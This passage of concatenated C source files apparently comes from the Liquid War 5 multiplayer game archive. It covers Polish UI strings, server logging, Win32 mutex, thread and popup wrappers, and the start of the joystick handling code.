LW_LANGPL_DATA[LW_LANG_STRING_CODE_GRADIENT4] = "Gradient 4"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_GRADIENT5] = "Gradient 5"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_GRADIENT6] = "Gradient 6"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_MESHSIZE] = "Mesh size"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_MESHSTRUCTURE] = "Mesh structure"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_PAUSEOFF] = "Wył. pauzę"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_PAUSEON] = "Wł. pauzę"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_WAVEEFFECTSOFF] = "Efekt fali wył."; LW_LANGPL_DATA[LW_LANG_STRING_CODE_WAVEEFFECTSON] = "Efekt fali wł."; LW_LANGPL_DATA[LW_LANG_STRING_CODE_CAPTUREOFF] = "Video capture off"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_CAPTUREON] = "Video capture on"; LW_LANGPL_DATA[LW_LANG_STRING_SCORE_WINNER] = "Zwycięsca"; LW_LANGPL_DATA[LW_LANG_STRING_GAME_BACKMEMFAIL] = "Back mem fail"; LW_LANGPL_DATA[LW_LANG_STRING_GAME_DISPMEMFAIL] = "Disp mem fail"; LW_LANGPL_DATA[LW_LANG_STRING_GAME_MESHMEMFAIL] = "Mesh mem fail"; LW_LANGPL_DATA[LW_LANG_STRING_GAME_AREAMEMFAIL] = "Area mem fail"; LW_LANGPL_DATA[LW_LANG_STRING_GAME_ARMYMEMFAIL] = "Army mem fail"; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_NOTENOUGHTEAMS] = "Za mało drużyn.\nMusisz zaznaczyć min. 2 drużyny z menu \"Drużyny\"."; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_NOTENOUGHBIGDATA] = "Brak pamięci do obsługi poziomu.\nWybierz mniejszy poziom albo zobacz do dokumentacji i wypróbuj opcje z linii komend, np. \"-mem n\"."; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_GRAPHICSINITFAILED] = "Nie udało się uruchomić trybu graficznego"; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_NONETWORKSUPPORT] = "Brak wsparcia sieci dla tej platformy.\nTylko Windows i UNIX obsługują sieć."; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_UNABLETOCONNECT] = "Nie można się połączyć z serwerem.\nMożliwe że nie jest poprawnie skonfigurowany albo jesteś za firewallem który blokuje połączenie."; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_NOTALIQUIDWARSERVER] = "Brak komunikacji z serwerem.\nPrawdopodobnie nie jest to serwer Liquid War."; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_WRONGVERSION] = "Zła wersja klienta/serwera.\nSerwer i klient muszą być w tej samej wersji (wersja tej gry to \"" LW_VERSION "\")."; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_NETWORKPROBLEM] = "Wystąpił błąd sieci.\nTo występuje często gdy połączenie z serwerem jest za wolne albo zostało utracone."; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_CANTSENDMAP] = "Nie udało się wysłać mapy na serwer."; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_CANTRECEIVEMAP] = "Nie udało się odebrać mapy z serwera."; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_SERVERFULL] = "Serwer jest obecnie pełny i nie akceptuje nowych drużyn."; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_BADPASSWORD] = "Nieprawidłowe hasło."; LW_LANGPL_DATA[LW_LANG_STRING_ERROR_BADCONFIGRANGE] = "Jeden z parametrów gry jest poza zakresem. To może być błąd gry lub ktoś próbuje cheatów i/lub hacków."; LW_LANGPL_DATA[LW_LANG_STRING_POPUP_INITFAIL] = "Błąd inicjacji."; LW_LANGPL_DATA[LW_LANG_STRING_POPUP_MEMTROUBLE] = "Brak wystarczającej pamięci na bitmapy."; LW_LANGPL_DATA[LW_LANG_STRING_POPUP_BIGDATA] = "Za mało pamięci."; LW_LANGPL_DATA[LW_LANG_STRING_POPUP_LOADFAIL] = "Nie można załadować pliku danych. Gra jest zainstalowany poprawnie?"; LW_LANGPL_DATA[LW_LANG_STRING_POPUP_CUSTOMFAIL] = "Nie mozna załadować własnych danych."; LW_LANGPL_DATA[LW_LANG_STRING_POPUP_GRAPHICSFAIL] = "Nie można zainicjować grafiki."; LW_LANGPL_DATA[LW_LANG_STRING_LW6_INFO] = "This program is obsolete, please consider upgrading to Liquid War 6, available on\n\nhttp://www.gnu.org/software/liquidwar6/\n\nHowever, Liquid War 5 is still available for your convenience, and you can play it freely. Only major security holes will be fixed, expect no major changes on this legacy branch."; LW_LANGPL_DATA[LW_LANG_STRING_LW6_OK] = "OK"; } /*------------------------------------------------------------------*/ /* returns the English string associated to an id */ /*------------------------------------------------------------------*/ char * lw_langpl_string (int id) { char *result = NULL; if (id >= 0 && id < LW_LANG_NB_STRINGS) { result = LW_LANGPL_DATA[id]; } if (!result) { result = "??? en"; } return result; } liquidwar-5.6.5/src/logsrv.c0000664000372000037200000001721613407756104015417 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : logsrv.c */ /* contenu : gestion de log serveur (affichage+fichier?) */ /* date de modif : 1 aout 99 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "log.h" #include "server.h" #include "macro.h" /*==================================================================*/ /* definitions de types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ int LW_LOG_BEEP = 1; static FILE *LW_LOG_FILE = NULL; static int LW_LOG_NEW_LINE = 1; static int LW_LOG_SERVER_MODE = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Displays date and time at the beginning of each line */ static void display_date_and_time () { time_t time_stamp; struct tm *time_struct; char time_str[50]; if (LW_LOG_FILE && LW_LOG_NEW_LINE && LW_LOG_SERVER_MODE) { time_stamp = time (NULL); time_struct = localtime (&time_stamp); LW_MACRO_SPRINTF6 (time_str, "%04d-%02d-%02d %02d:%02d:%02d: ", time_struct->tm_year + 1900, time_struct->tm_mon + 1, time_struct->tm_mday, time_struct->tm_hour, time_struct->tm_min, time_struct->tm_sec); fprintf (LW_LOG_FILE, "%s", time_str); } LW_LOG_NEW_LINE = 0; } /*------------------------------------------------------------------*/ static void prepare_new_line () { if (LW_LOG_FILE) { fflush (LW_LOG_FILE); } LW_LOG_NEW_LINE = 1; } /*------------------------------------------------------------------*/ void log_init (void) { char *filename; filename = lw_server_get_log (); if (filename && strlen (filename) > 0) { LW_LOG_FILE = fopen (filename, "a"); } /* * By default, we output stuff to stdout */ if (LW_LOG_FILE == NULL) { LW_LOG_FILE = stdout; } } /*------------------------------------------------------------------*/ void log_exit (void) { if (LW_LOG_FILE && LW_LOG_FILE != stdout) { fclose (LW_LOG_FILE); } } /*------------------------------------------------------------------*/ void log_print_str (char *str) { if (LW_LOG_FILE) { display_date_and_time (); fprintf (LW_LOG_FILE, "%s", str); } } /*------------------------------------------------------------------*/ void log_print_int (int i) { if (LW_LOG_FILE) { display_date_and_time (); fprintf (LW_LOG_FILE, "%d", i); } } /*------------------------------------------------------------------*/ void log_println () { if (LW_LOG_FILE) { display_date_and_time (); fprintf (LW_LOG_FILE, "\n"); log_flush (); prepare_new_line (); } } /*------------------------------------------------------------------*/ void log_println_str (char *str) { if (LW_LOG_FILE) { display_date_and_time (); fprintf (LW_LOG_FILE, "%s\n", str); log_flush (); prepare_new_line (); } } /*------------------------------------------------------------------*/ void log_println_int (int i) { if (LW_LOG_FILE) { display_date_and_time (); fprintf (LW_LOG_FILE, "%d\n", i); log_flush (); prepare_new_line (); } } /*------------------------------------------------------------------*/ void log_flush () { if (LW_LOG_FILE) { fflush (LW_LOG_FILE); } } /*------------------------------------------------------------------*/ void log_beep () { if (LW_LOG_BEEP) { /* * We play a beep */ fprintf (stderr, "\a"); } } /*------------------------------------------------------------------*/ void log_set_server_mode (int mode) { LW_LOG_SERVER_MODE = mode; } liquidwar-5.6.5/src/mutxw32.c0000664000372000037200000001441613407756104015433 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : thrdunix.c */ /* content : provides basic mutex support under windows */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #ifdef WIN32 #include #endif #include "mutxgen.h" #include "log.h" /*==================================================================*/ /* defines */ /*==================================================================*/ /*==================================================================*/ /* macros */ /*==================================================================*/ /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int lw_mutex_init (LW_MUTEX_DATA * mutex) { int result = 0; HANDLE *h; mutex->data = malloc (sizeof (HANDLE)); if (mutex->data != NULL) { h = (HANDLE *) mutex->data; (*h) = CreateMutex (NULL, TRUE, NULL); if ((*h) != NULL) { result = 1; } else { log_println ("Error: can't create mutex..."); free (mutex->data); mutex->data = NULL; } } return result; } /*------------------------------------------------------------------*/ int lw_mutex_lock (LW_MUTEX_DATA * mutex) { int result = 0; HANDLE *h; h = (HANDLE *) mutex->data; if (!h) { lw_mutex_init (mutex); } h = (HANDLE *) mutex->data; /* * It's important to use another if(h) test since * mutex might have just been initialized. */ if (h) { if (WaitForSingleObject (h, INFINITE) == WAIT_OBJECT_0) { result = 1; } } return result; } /*------------------------------------------------------------------*/ int lw_mutex_trylock (LW_MUTEX_DATA * mutex) { int result = 1; HANDLE *h; h = (HANDLE *) mutex->data; if (!h) { lw_mutex_init (mutex); } h = (HANDLE *) mutex->data; /* * It's important to use another if(h) test since * mutex might have just been initialized. */ if (h) { if (WaitForSingleObject (h, 0) == WAIT_OBJECT_0) { result = 1; } } return result; } /*------------------------------------------------------------------*/ int lw_mutex_unlock (LW_MUTEX_DATA * mutex) { int result = 1; HANDLE *h; h = (HANDLE *) mutex->data; if (!h) { ReleaseMutex (h); } return result; } liquidwar-5.6.5/src/popupgen.h0000664000372000037200000001043213407756104015736 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : popupgen.h */ /* content : handles system popup windows */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_POPUPGEN #define LIQUID_WAR_INCLUDE_POPUPGEN /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constantes */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void lw_popup_init_fail (void); void lw_popup_mem_trouble (void); void lw_popup_big_data (void); void lw_popup_load_fail (void); void lw_popup_custom_fail (void); void lw_popup_graphics_fail (void); #endif liquidwar-5.6.5/src/wave.h0000664000372000037200000001025313407756104015044 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : wave.h */ /* contenu : choix des options de vague */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_WAVE #define LIQUID_WAR_INCLUDE_WAVE /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int wave_options (void); #endif liquidwar-5.6.5/src/thrdw32.c0000664000372000037200000001142413407756104015373 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : thrdunix.c */ /* content : provides basic thread support under windows */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #ifdef WIN32 #include #endif #include "thrdgen.h" /*==================================================================*/ /* defines */ /*==================================================================*/ /*==================================================================*/ /* macros */ /*==================================================================*/ /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Starts a new thread using the given callback */ int lw_thread_start (void (*func) (void *), void *args) { int result = 0; if (_beginthread (func, 0, args) != 0) { result = 1; } return result; } liquidwar-5.6.5/src/srvteam.c0000664000372000037200000001035213407756104015556 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : srvteam.c */ /* content : handles a team on the server */ /* last update : May 8th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "srvteam.h" /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Resets the LW_SRVTEAM struct */ void lw_srvteam_reset (LW_SRVTEAM * team) { memset (team, 0, sizeof (LW_SRVTEAM)); team->active = 0; team->network = 0; team->server_id = 0; team->control_type = 0; team->name[0] = '\0'; } liquidwar-5.6.5/src/popupw32.c0000664000372000037200000001435113407756104015577 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : popupw32.c */ /* content : popup windows used under the win32 platform */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #ifdef WIN32 #include #endif #include "popupgen.h" #include "lang.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_POPUP_ERROR_FLAGS MB_OK|MB_ICONEXCLAMATION /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void lw_popup_init_fail () { HWND hwnd; hwnd = (HWND) win_get_window (); MessageBox (hwnd, lw_lang_string (LW_LANG_STRING_POPUP_INITFAIL), lw_lang_string (LW_LANG_STRING_APPNAME), LW_POPUP_ERROR_FLAGS); } /*------------------------------------------------------------------*/ void lw_popup_mem_trouble (void) { HWND hwnd; hwnd = (HWND) win_get_window (); MessageBox (hwnd, lw_lang_string (LW_LANG_STRING_POPUP_MEMTROUBLE), lw_lang_string (LW_LANG_STRING_APPNAME), LW_POPUP_ERROR_FLAGS); } /*------------------------------------------------------------------*/ void lw_popup_big_data (void) { HWND hwnd; hwnd = (HWND) win_get_window (); MessageBox (hwnd, lw_lang_string (LW_LANG_STRING_POPUP_BIGDATA), lw_lang_string (LW_LANG_STRING_APPNAME), LW_POPUP_ERROR_FLAGS); } /*------------------------------------------------------------------*/ void lw_popup_load_fail (void) { HWND hwnd; hwnd = (HWND) win_get_window (); MessageBox (hwnd, lw_lang_string (LW_LANG_STRING_POPUP_LOADFAIL), lw_lang_string (LW_LANG_STRING_APPNAME), LW_POPUP_ERROR_FLAGS); } /*------------------------------------------------------------------*/ void lw_popup_custom_fail (void) { HWND hwnd; hwnd = (HWND) win_get_window (); MessageBox (hwnd, lw_lang_string (LW_LANG_STRING_POPUP_CUSTOMFAIL), lw_lang_string (LW_LANG_STRING_APPNAME), LW_POPUP_ERROR_FLAGS); } /*------------------------------------------------------------------*/ void lw_popup_graphics_fail (void) { HWND hwnd; hwnd = (HWND) win_get_window (); MessageBox (hwnd, lw_lang_string (LW_LANG_STRING_POPUP_GRAPHICSFAIL), lw_lang_string (LW_LANG_STRING_APPNAME), LW_POPUP_ERROR_FLAGS); } liquidwar-5.6.5/src/joystick.c0000664000372000037200000002536213407756104015743 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : joystick.c */ /* contenu : gestion du joystick */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "config.h" #include "joystick.h" #include "startup.h" #include "log.h" /*==================================================================*/ /* defines */ /*==================================================================*/ #ifndef MIN #define MIN(a, b) (((a) < (b)) ? (a) : (b)) #endif #ifndef MAX #define MAX(a, b) (((a) > (b)) ? (a) : (b)) #endif /*==================================================================*/ /* variables globales */ /*==================================================================*/ int JOYSTICK_CONTROL_JOY1_UP = 0; int JOYSTICK_CONTROL_JOY1_RIGHT = 0; int JOYSTICK_CONTROL_JOY1_DOWN = 0; int JOYSTICK_CONTROL_JOY1_LEFT = 0; int JOYSTICK_CONTROL_JOY1_B1 = 0; int JOYSTICK_CONTROL_JOY1_B2 = 0; int JOYSTICK_CONTROL_JOY1_B3 = 0; int JOYSTICK_CONTROL_JOY1_B4 = 0; int JOYSTICK_CONTROL_JOY2_UP = 0; int JOYSTICK_CONTROL_JOY2_RIGHT = 0; int JOYSTICK_CONTROL_JOY2_DOWN = 0; int JOYSTICK_CONTROL_JOY2_LEFT = 0; int JOYSTICK_CONTROL_JOY2_B1 = 0; int JOYSTICK_CONTROL_JOY2_B2 = 0; /*==================================================================*/ /* static vars */ /*==================================================================*/ static int JOY1_MIN_X = 1000; static int JOY1_MID_X = 0; static int JOY1_MAX_X = -1000; static int JOY1_MIN_Y = 1000; static int JOY1_MID_Y = 0; static int JOY1_MAX_Y = -1000; static int JOY2_MIN_X = 1000; static int JOY2_MID_X = 0; static int JOY2_MAX_X = -1000; static int JOY2_MIN_Y = 1000; static int JOY2_MID_Y = 0; static int JOY2_MAX_Y = -1000; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int my_initialise_joystick (void) { int result; #ifdef DOS #define JOY_TYPE0 JOY_TYPE_2PADS #define JOY_TYPE1 JOY_TYPE_4BUTTON #define JOY_TYPE2 JOY_TYPE_STANDARD #endif #ifdef WIN32 #define JOY_TYPE0 JOY_TYPE_AUTODETECT #define JOY_TYPE1 JOY_TYPE_AUTODETECT #define JOY_TYPE2 JOY_TYPE_AUTODETECT #endif #ifdef UNIX #define JOY_TYPE0 JOY_TYPE_AUTODETECT #define JOY_TYPE1 JOY_TYPE_AUTODETECT #define JOY_TYPE2 JOY_TYPE_AUTODETECT #endif if (STARTUP_JOYSTICK_ON) { int type = JOY_TYPE_AUTODETECT; switch (CONFIG_JOYSTICK_ON) { case 1: type = JOY_TYPE0; break; case 2: type = JOY_TYPE1; break; case 3: type = JOY_TYPE2; break; } result = install_joystick (type); } else result = -1; /* * Now we set "default" values */ if (num_joysticks >= 1) { if (joy[0].num_sticks >= 1) { if (joy[0].stick[0].num_axis >= 2) { JOY1_MIN_X = joy[0].stick[0].axis[0].pos; JOY1_MID_X = joy[0].stick[0].axis[0].pos; JOY1_MAX_X = joy[0].stick[0].axis[0].pos; JOY1_MIN_Y = joy[0].stick[0].axis[1].pos; JOY1_MID_Y = joy[0].stick[0].axis[1].pos; JOY1_MAX_Y = joy[0].stick[0].axis[1].pos; } } } if (num_joysticks >= 2) { if (joy[1].num_sticks >= 1) { if (joy[1].stick[0].num_axis >= 2) { JOY2_MIN_X = joy[1].stick[0].axis[0].pos; JOY2_MID_X = joy[1].stick[0].axis[0].pos; JOY2_MAX_X = joy[1].stick[0].axis[0].pos; JOY2_MIN_Y = joy[1].stick[0].axis[1].pos; JOY2_MID_Y = joy[1].stick[0].axis[1].pos; JOY2_MAX_Y = joy[1].stick[0].axis[1].pos; } } } my_poll_joystick (); return result; } /*------------------------------------------------------------------*/ void my_poll_joystick (void) { if (CONFIG_JOYSTICK_ON && STARTUP_JOYSTICK_ON) { poll_joystick (); if (num_joysticks >= 1) { if (joy[0].num_sticks >= 1) { if (joy[0].stick[0].num_axis >= 2) { JOY1_MIN_X = MIN (joy[0].stick[0].axis[0].pos, JOY1_MIN_X); JOY1_MAX_X = MAX (joy[0].stick[0].axis[0].pos, JOY1_MAX_X); JOY1_MID_X = (JOY1_MIN_X + JOY1_MAX_X) / 2; JOY1_MIN_Y = MIN (joy[0].stick[0].axis[1].pos, JOY1_MIN_Y); JOY1_MAX_Y = MAX (joy[0].stick[0].axis[1].pos, JOY1_MAX_Y); JOY1_MID_Y = (JOY1_MIN_Y + JOY1_MAX_Y) / 2; JOYSTICK_CONTROL_JOY1_UP = (joy[0].stick[0].axis[1].pos < (JOY1_MIN_Y + 2 * JOY1_MID_Y) / 3) ? 1 : 0; 